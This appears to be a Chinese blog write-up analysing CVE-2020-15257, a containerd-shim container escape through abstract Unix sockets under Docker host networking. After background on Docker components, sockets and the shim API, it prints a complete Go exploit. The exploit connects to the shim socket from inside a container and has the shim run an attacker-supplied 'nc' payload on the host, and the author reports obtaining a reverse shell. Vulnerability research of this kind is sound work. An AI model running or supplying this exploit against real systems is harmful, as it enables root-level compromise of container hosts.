CVE-2020-15257调试分析

CVE-2020-15257

前置知识

docker1.11版本后进行了重大重构,将dockerd拆分为了四部分:dockerdcontainerdcontainerd-shimrunc

image.png

  • dockerd:面向前端用户,负责和Docker client交互,对应的命令行工具是docker,提供了构建、拉取镜像,管理、运行容器的大部分功能。
  • containerd:为了兼容OCI标准,Docker Daemon中的容器运行时及其管理功能剥离了出来,形成了containerd。docker对容器的管理和操作基本都是通过containerd完成的。它向上为Docker Daemon提供了gRPC接口,向下通过containerd-shim结合runC,实现对容器的管理控制。containerd还提供了可用于与其交互的API和客户端应用程序ctr。所以实际上,即使不运行Docker Daemon,也能够直接通过containerd来运行、管理容器。
  • containerd-shim:夹杂在containerd和runc之间,每次启动一个容器,都会创建一个新的containerd-shim进程,它通过指定的三个参数:容器id、bundle目录、运行时二进制文件路径,来调用运行时的API创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给containerd。
  • runc:根据官方定义,runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool。Docker、containerd针对容器的运行相关操作,最终将落实到runc上来实现。
1
2
3
4
5
6
docker     ctr
| |
V V
dockerd -> containerd ---> shim -> runc -> runc init -> process
|-- > shim -> runc -> runc init -> process
+-- > shim -> runc -> runc init -> process

Unix域套接字是一种特殊的套接字,用于同一个主机上的进程间通信,它的API调用方法和普通的TCP/IP的套接字一样,也是调用socket函数创建一个套接字,域设置成AF_UNIX,套接字的类型可以是流套接字(SOCK_STREAM)和数据报套接字(SOCK_DGRAM):

1
2
socket(AF_UNIX,  SOCK_STREAM, 0);  // Unix域流套接字
socket(AF_UNIX,SOCK_DGRAM, 0); // Unix域数据报套接字

在调用socket()数获得新创建的Unix域套接字的文件描述符之后,再调用bind()函数将它绑定到一个本地地址上,此时需要创建并初始化一个sockaddr_un结构体,如下所示:

1
2
3
4
struct  sockaddr_un { 
sa_family_t sun_family;
char sun_path[108];
}

第一个字段需要设置成AF_UNIX,第二个字段表示的是一个路径名,它分为两种:

  1. 普通的文件路径:它是一个合法的Linux文件路径,以NULL结尾。在绑定一个Unix域套接字时,会在文件系统中的相应位置上创建一个文件,当不再需要这个Unix域套接字时,可以使用remove()函数或者unlink()函数将这个对应的文件删除。如果在文件系统中,已经有了一个文件和指定的路径名相同,则绑定会失败。
  2. 抽象名字空间路径:抽象名字空间路径以NULL开始,后面可以跟任何数据,甚至可以是NULL,可以不以NULL结尾。相对于普通的文件路径,这种地址在文件系统上并没有实际的文件与它相对应。也就是说,它不会在文件系统中创建出一个新的文件。在Unix域套接字的文件描述符关闭的时候就会自动消失,所以无需担心与文件系统中已存在的文件产生命名冲突,也不需要在使用完套接字之后删除附带产生的这个文件。

Unixsocket用法:https://github.com/fanux/fanux.github.io/tree/master/demo/grpc

/proc/net/unix目录下或者netstat -xl命令可以看到unix套接字,带@的为抽象套接字。

/proc目录下文件夹信息:

https://blog.spoock.com/2019/10/08/proc/


在使用docker run命令创建并运行容器时,可以使用--network选项指定容器的网络模式。docker有以下4种网络模式:

  1. none:这种模式下容器内部只有loopback回环网络,没有其他网卡,不能访问外网,完全封闭的网络;

  2. container:指定一个已经存在的容器名字,新的容器会和这个已经存在的容器共享一个网络命名空间,IP、端口范围也一起在这两个容器中共享;

  3. bridge:这是docker默认的网络模式,会为每一个容器分配网络命名空间,设置IP,保证容器内的进程使用独立的网络环境,使得容器和容器之间、容器和主机之间实现网络隔离;

  4. host:这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。

但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题。本文所述漏洞也是在这种模式下产生的。


Protocol Buffers是一种序列化数据结构的协议。对于透过管道或存储资料进行通信的程序开发上是很有用的。这个方法包含一个接口描述语言,描述一些数据结构,并提供程序工具根据这些描述产生代码,用于将这些数据结构产生或解析资料流。

protobuf基础用法:https://segmentfault.com/a/1190000007909829?utm_source=sf-related

containerd-shim的服务就是用protobuf定义的,其shim.proto文件目录:https://github.com/containerd/containerd/blob/master/runtime/v1/shim/v1/shim.proto,里面包含了`ShimService`向`ShimClient`提供的接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Shim service is launched for each container and is responsible for owning the IO
// for the container and its additional processes. The shim is also the parent of
// each container and allows reattaching to the IO and receiving the exit status
// for the container processes.
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);

rpc Create(CreateTaskRequest) returns (CreateTaskResponse);

rpc Start(StartRequest) returns (StartResponse);

rpc Delete(google.protobuf.Empty) returns (DeleteResponse);

rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

rpc ListPids(ListPidsRequest) returns (ListPidsResponse);

rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

rpc Kill(KillRequest) returns (google.protobuf.Empty);

rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);

rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);

// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);

rpc Wait(WaitRequest) returns (WaitResponse);
}

创建容器时docker四个组件之间的通信过程:https://note.sycki.com/articles/docker/docker-code-create-container

上述接口函数的定义位于containerd/containerd/runtime/v1/shim/service.gohttps://github.com/containerd/containerd/blob/master/runtime/v1/shim/service.go

其用法位于containerd/containerd/runtime/v1/shim/client/client.gohttps://github.com/containerd/containerd/blob/master/runtime/v1/shim/client/client.go


抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(uid=0,gid=0)用户才能连接成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80
// UnixSocketRequireSameUser resolves the current effective unix user and returns a
// UnixCredentialsFunc that will validate incoming unix connections against the
// current credentials.
//
// This is useful when using abstract sockets that are accessible by all users.
func UnixSocketRequireSameUser() UnixCredentialsFunc {
euid, egid := os.Geteuid(), os.Getegid()
return UnixSocketRequireUidGid(euid, egid)
}

func UnixSocketRequireUidGid(uid, gid int) UnixCredentialsFunc {
return func(ucred *unix.Ucred) error {
return requireUidGid(ucred, uid, gid)
}
}

func requireUidGid(ucred *unix.Ucred, uid, gid int) error {
if (uid != -1 && uint32(uid) != ucred.Uid) || (gid != -1 && uint32(gid) != ucred.Gid) {
return errors.Wrap(syscall.EPERM, "ttrpc: invalid credentials")
}
return nil
}

搭建环境

安装最新版的golang

1
2
3
4
5
6
sudo add-apt-repository ppa:longsleep/golang-backports
sudo apt update
sudo apt install golang-go

#go version 查看版本
#export GOPATH="$HOME/go/" 可以将其导入~/.bashrc中

安装dockercontainerd

1
2
3
4
5
curl -fsSL https://get.docker.com -o get-docker.sh && \
sudo VERSION=18.09.0 sh get-docker.sh
sudo systemctl start docker

sudo apt install containerd.io=1.3.7-1 #版本需要为1.3.x,后面会解释

image.png

漏洞分析

这个漏洞如果把前置知识都理解的话,还是挺简单的,docker的四个部分在主机上通过Unixsocket进行通信,cat /proc/net/unix可以看到所有的Unixsocket,其中:

  1. /var/run/docker.sock:Docker Daemon监听的Unixsocket,用于和Docker client之间通信。

  2. /run/containerd/containerd.sock:containerd监听的Unixsocket,Docker Daemon、ctr可以通过它和containerd通信。

  3. @/containerd-shim/{sha256}.sock:这个就是上文所述的,containerd-shim监听的Unixsocket,containerd通过它和containerd-shim通信,控制管理容器。

/var/run/docker.sock/run/containerd/containerd.sock这两者是普通的文件路径,虽然容器共享了主机的netns,但没有共享mntns,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock/run/containerd/containerd.sock这样的路径连接对应的Unixsocket。但是@/containerd-shim/{sha256}.sock这一类的抽象Unixsocket不一样,它没有依靠mntns做隔离,而是依靠netns做隔离。也就是说,host模式下,容器共享了主机的netns,也就能够去连接@/containerd-shim/{sha256}.sock这一类的抽象Unixsocket。而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。

在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unixsocket,调用containerd-shim提供的各种API来访问ShmiServer,从而实现容器逃逸。

漏洞利用

下载编译poc/exp

pochttps://github.com/summershrimp/exploits-open/tree/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257

exp(替换poc中的main.go重新编译即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main

import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"

"github.com/containerd/ttrpc"
shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)

func getDockerID() (string, error) {
re, err := regexp.Compile("pids:/docker/.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/proc/self/cgroup")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find docker id")
}

tmp_docker_id := matches[0]
docker_id := string(tmp_docker_id[13 : len(tmp_docker_id)])
return docker_id, nil

}

func getMergedPath() (string, error) {
re, err := regexp.Compile("workdir=.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/etc/mtab")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find merged path")
}

tmp_path := matches[0]
path := string(tmp_path[8 : len(tmp_path)-8])
merged := path + "merged/"
return merged, nil

}

func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}

return matches, nil
}


func exp(sock string, docker_id string, payload_path string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}

client := ttrpc.NewClient(conn)
shimClient := shimapi.NewShimClient(client)

ctx := context.Background()
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)

/* // poc get shim pid
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}

log.Println("shim pid:", info.ShimPid)
*/

r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: docker_id,
Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
Runtime : "io.containerd.runtime.v1.linux",
Stdin: "anything",
//Stdout: "binary:///bin/sh?-c=cat%20/proc/self/status%20>/tmp/foobar",
Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
Stderr: "anything",
Terminal : false,
Checkpoint : "anything",
})

if err != nil {
log.Println(err)
return false
}

log.Println(r)
return true
}

func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()

docker_id, err := getDockerID()
log.Println("find docker id:", docker_id)

merged_path, err := getMergedPath()
log.Println("find path:", merged_path)

if err != nil {
log.Fatalln(err)
}

for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname, docker_id, merged_path) {
break
}
}

return
}

安装1.3.7版本的containerd,这个漏洞实际影响containerd1.3.x/1.2.x/1.4.x版本,但是此payload并不对1.2.x有效,因为1.2版本的底层stdio实现只支持对现有文件的追加,而1.3版本会自己创建新文件。

poc测试,可以成功看到宿主机上containerd-shmi进程的pid

image.png

exp测试,可以成功反弹shell

image.png

参考

https://mp.weixin.qq.com/s/WmSaLPnG4o4Co1xRiYCOnQ

https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg

https://research.nccgroup.com/2020/12/10/abstract-shimmer-cve-2020-15257-host-networking-is-root-equivalent-again/

https://xz.aliyun.com/t/8925

打赏还是打残,这是个问题